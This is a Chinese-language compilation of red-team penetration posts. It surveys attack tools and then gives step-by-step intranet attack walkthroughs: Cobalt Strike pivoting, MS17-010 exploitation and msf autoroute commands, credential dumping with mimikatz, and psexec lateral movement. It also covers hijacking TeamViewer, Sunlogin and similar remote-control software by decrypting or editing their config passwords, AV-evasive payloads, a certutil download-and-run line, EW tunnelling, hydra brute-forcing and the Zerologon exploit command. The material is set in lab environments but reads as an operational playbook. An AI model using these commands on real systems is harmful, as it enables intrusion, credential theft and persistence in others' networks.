本文目录一览:
- 1、汇总下关于安全的13款必备工具
- 2、什么叫机器不出wang
- 3、cobalt strike使用跳板进行内网渗透
- 4、内网渗透--对不出网目标的打法
- 5、内网渗透-远控类软件利用
- 6、安全攻防实战系列MSF
汇总下关于安全的13款必备工具
汇总下关于安全的几款必备工具:
Burp Suite 是用于攻击web 应用程序的集成平台,http协议分析神器,里面包括了不少安全必备的功能,重放、爆破、扫描并且支持自定义脚本,实现自己想要的功能。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
工具下载地址:
工具运行需要Java环境,请自行安装。
Nmap,也就是Network Mapper,最早是Linux下的网络扫描和嗅探工具包,扫描网络情况和端口开放情况,也可以加载nmap内置的poc脚本发现安全漏洞
官网:
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。
正如大多数被用于网络安全的工具,nmap 也是不少黑客及骇客(又称脚本小子)爱用的工具 。系统管理员可以利用nmap来探测工作环境中未经批准使用的服务器,但是黑客会利用nmap来搜集目标电脑的网络设定,从而计划攻击的方法。
Nmap 常被跟评估系统漏洞软件Nessus 混为一谈。Nmap 以隐秘的手法,避开闯入检测系统的监视,并尽可能不影响目标系统的日常操作。
这个主要是利用sql注入漏洞的工具,可以自定义扫描规则和方式,若是通读源码之后对sql注入会有相当深的理解
官网:
这个是域名爆破工具,owasp开发的,该工具采用Go语言开发,它可以通过遍历等形式爬取数据源和Web文档,或利用IP地址来搜索相关的网块和ASN,并利用所有收集到的信息来构建目标网络拓扑。速度和发现都相当不错。
项目地址:
官网
ubuntu下安装命令如下:
Masscan,是 robertdavidgraham 在 Github 上开源的端口扫描工具。
Masscan 性能优越,极限速度可以从单机每秒发送1000万个数据包。Masscan 使用了与另一个著名的扫描工具 —— nmap 类似的命令行参数,方便进行上手使用。
Masscan 针对 TCP 端口进行扫描,使用 SYN 扫描的方式,不建立一个完全的 TCP 连接,而是首先发送一个 SYN 数据包到目标端口,然后等待接收。如果接收到 SYN-ACK 包,则说明该端口是开放的,此时发送一个 RST 结束建立过程即可;否则,若目标返回 RST,则端口不开放。 这个用来发现大规模网络下存活的ip和端口还是不错,配合nmap发现服务可快速扫描网络
项目代码位于
安装 Masscan 可以从源码进行编译,在 Debian/Ubuntu 平台上,使用命令:
编译得到的二进制程序位于子文件夹 masscan/bin。由于代码中包含了大量的小文件,可以开启多线程模式进行编译:
Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。
下载地址
7、metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描, 社会 工程。团队合作,在Metasploit和综合报告提出了他们的发现。
下载地址
Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证。
下载地址
这个是内网端口转发工具,对于无法出网的端口相当好用。有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap。
lcx有两大功能:
代理隧道工具,可以让工具走隧道进入内网环境,配合msf中的代理相当好用
github地址
1.建立文件夹proxychains,并进入下载
2.解压缩
3.进入解压缩后的目录进行安装
4.配置环境变量 打开文件.bashrc
将下面一段话考入该文件
使改变生效
有管理员权限 直接执行以下命令
netcat被誉为网络安全界的‘瑞士军刀’,命令用于设置路由器。 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
【没有找到该工具logo,随便找一个凑数】
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
通俗的讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
唯一官方github下载地址:
嫌弃一个个下载麻烦的同学有福了, 一口君已经下载,并存放在网盘里,
后台回复: 安全工具 即可下载
什么叫机器不出wang
内网叫机器不出wang。机器不出wang由本机带入内网,cs上线cs逐渐成为内网渗透中使用最多的工具,在目标不通外网的情况下,无法直接与公网的cs服务端建立连接。所以内网叫机器不出wang。
cobalt strike使用跳板进行内网渗透
Pivoting ,在本手册中,指的是「将一个受害机器转为其他攻击和工具的跳板」。Cobalt Strike 的Beacon 提供了多种 pivoting 选项。前提是 Beacon 处于交互模式。交互模式意味着一个 Beacon 每 秒内多次连接到团队服务器。使用 sleep 0 命令来使你的 Beacon 进入交互模式。
通过 [beacon] → Pivoting → SOCKS Server 来在你的团队服务器上设置一个 SOCKS4a 代理服务 器。或者使用 socks 8080 命令来在端口 8080 上设置一个 SOCKS4a 代理服务器(或者任何其他你想 选择的端口)。
所有经过这些 SOCKS 服务器的连接都将被转变为让相关联 Beacon 执行的连接、读写和关闭任务。你 可以通过任何类型的 Beacon 经由 SOCKS 隧道传输(甚至是一个 SMB Beacon)。
Beacon 的 HTTP 数据通道是响应速度最快的 pivoting 方法。如果你想通过 DNS 中继流量,使用DNS TXT 记录的通信模式。
要查看当前已经配置的 SOCKS 服务器,通过 View → Proxy Pivots 。 使用 socks stop 命令来停用 SOCKS 代理服务器。
proxychains 工具将强制外部程序使用你指定的 SOCKS 代理服务器。你可以使用 proxychains 强制第 三方工具经过 Cobalt Strike 的 SOCKS 服务器。要了解有关 proxychains 的更多信息,请访问:
安装proxychains,配置文件修改如下
pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 8973/pre
过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:
pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);" proxychains nmap -sT -Pn 192.168.237.129/pre
然后可以通过代理使用其他的安全工具进行下一步的渗透,如果说有些工具是不支持代理ip的,那么还有方法
Proxifier:
当使用没有代理功能的工具对目标内网进行渗透时,可以使用Proxifier工具能够将程序通过socks代理对内网进行渗透。详细的使用过程如下所示:
打开Proxifier软件,单击Profile-Proxy Server-add 添加本地主机的代理端口。协议选择socks5类型,可以点击check进行测试当前代理是否成功。
这样的配置会让当前所有软件走全局的代理。可以让一些不支持代理功能的软件走代理。
首先,用cs新建一个外部的监听:我这里选用外部http链接。
开启msf,使用exploit/multi/handler模块,设置payload为windows/meterpreter/reverse_http,然后show options 查看需要设置的参数。
注意:payload必须是和cs上设置的监听模块一致。
然后在cs的beacon控制台中直接输入
pre class="cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"spawn msf/pre
过了几秒,msf中就会得到会话
这部分是在msf获取到会话之后,把会话上传到CS上。
首先在CS上新建一个内部监听。
然后在msf中进行配置
首先在msf上面查看要上传·会话的id:(我这里是2)
使用这个exp:exploit/windows/local/payload_inject
设置好参数之后,检查参数时候设置完全和正确。
exploit执行
cs上就会上线了
这两天出文章的速度慢了,是因为我一直在持续的开发和优化知识库,现在知识库上线新的功能GitHub索引,地址是: ,不过现在只能是pc端访问,移动端访问样式会乱掉,因为我前端技术实在是渣渣
首页整理了github上最新流行的趋势。下图是中文趋势
下图是全网趋势
内网渗透--对不出网目标的打法
配置网络
在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:
win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问 可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种方法:
通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁?
蚁剑已经给出基础信息
我在哪?
使用ipconfig /all 看一下网络信息
目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软,还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。
因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。
内网横向(通过登录凭证)
这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。
不出网机器上线一般有以下几种方式:
使用smb beacon
配置listener通过HTTP代理上线
使用pystinger搭建socks4代理
这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
使用条件
具有 SMB Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用方法:
1.建立smb的listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识
使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
内网横向(通过ms-17010)
在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可
小贴士:
漏洞检测方法:
use auxiliary/scanner/smb/smb_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。
内网渗透-远控类软件利用
对渗透中遇到的远控类软件的利用方式整理。
操作系统:windows server 2012
中间件:tomcat
杀软:卫士+杀毒
默认权限:administrator
实战中经常遇到的一款远控软件,用户数量高。
可以通过ID和密码进行无人值守访问。
进程信息:
利用场景:拿到webshell权限,想上线cs,发现主机存在杀软,bypass失败。
通过查看进程信息发现存在Teamviewer。
管理员在线。
利用获取到的密码成功连接到目标主机的桌面。
TeamViewer QuickSupport版
首次运行需要同意协议。
实战使用需要把首次运行同意协议步骤进行绕过,然后上传到目标主机运行,然后抓取密码连接,感兴趣的可以研究下。
利用场景:查看进程发现存在向日葵,寻找配置文件,破解本机验证码,连接向日葵。
进程信息:
向日葵在最近的更新中加强了加密机制,删除了config.ini中的encry_pwd(本机验证码)。
v11.1.2.38529之前的版本,连接信息保存在配置文件中,可进行解密。
向日葵默认配置文件路径:
解密脚本
pip3 install unicorn
利用场景:
1、杀软白名单策略,常规免杀方法无法绕过。
2、存在流量设备,常规frp,nps,cs,reGeorg等被ban,无法带入内网。
向日葵首次运行提示是否安装。
需要鼠标点击以绿色版运行
使用bypass方法绕过,上传SunloginClient.exe到靶机服务器运行。
查看绿色版配置文件
C:\ProgramData\Oray\SunloginClient\config.ini
使用脚本破解encry_pwd
识别码为:165034706
密码为:LlOa4Z
连接成功。
北京金万维科技有限公司开发的一款产品,分为客服端和客户端。
可以通过设置连接密码进行无人值守访问。
进程信息:
配置文件默认路径
uniqueid 为连接的id
connect_password= 为设置的连接密码加密hash
random_password= 为明文连接密码
2个密码都可以连接使用
默认安装后未设置连接密码,不支持无人值守访问。
特点:运行过程中动态加载配置文件
利用方式:直接在配置文件中添加连接密码,进行无人值守访问。
1、设置random_password=666666
重新连接,输入设置的密码信息。
连接成功。
2、设置random_password
本地搭建客户端,设置连接密码999999。
查看本地配置文件中加密后的hash为
connect_password=5eec351934af7678a852ade9efc74133
特点:只在开始运行时加载配置文件
无random_password只能通过修改connect_password连接。
利用方式:结束进程,修改配置文件,重新运行。
1、结束进程
2、修改配置文件内容
connect_password为5eec351934af7678a852ade9efc74133(999999)
3、重新启动即可用密码连接。
1、uac
非server服务器运行向日葵需要bypass uac
2、用户不在线的情况,需要密码登录。
这个点导致利用起来比较鸡肋,适用于隧道流量无法绕过等一些极端情况,可以选择免杀读密码/免杀加用户然后登录。
整理了最近遇到的几个内网远控存在利用的点,利用相对鸡肋,适用于某些极端情况下使用。
安全攻防实战系列MSF
前言
在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登陆并截图证明。
环境配置
从虚拟机网络来看
机器描述
目录如下
蚁剑拿shell
msf免杀拿shell
使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali
使用分离免杀工具生成loader.exe文件
对生成的exe文件进行加壳免杀
免杀效果如下
免杀之后通过蚁剑上传到server-bt上
msf开启监听
蚁剑运行
getuid
ps
msf内网渗透
load mimikatz # 加载Mimikatz模块
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe
远程登录server-bt
然后再添加一个由system权限下开启的桌面进程
Earthworm穿透
上传EW(Earthworm)到C:/wwwroot/
kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
利用过程
代理蚁剑进行连接这个shell
并查看权限
Earthworm穿透
挂代理,通过之前上传的EW(Earthworm)
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
使用分离免杀工具生成loader.exe文件
免杀效果如下
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f msf1.exe
成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
ps
添加账户和远程连接同第一层
load mimikatz # 加载Mimikatz模块
这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash
(890c这个hash就是"空"的NTML hash)
我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器
利用 psexec(PTH)上线server-dc到 MSF:
成功获取到shell
利用 psexec 上线server-ex13到 MSF: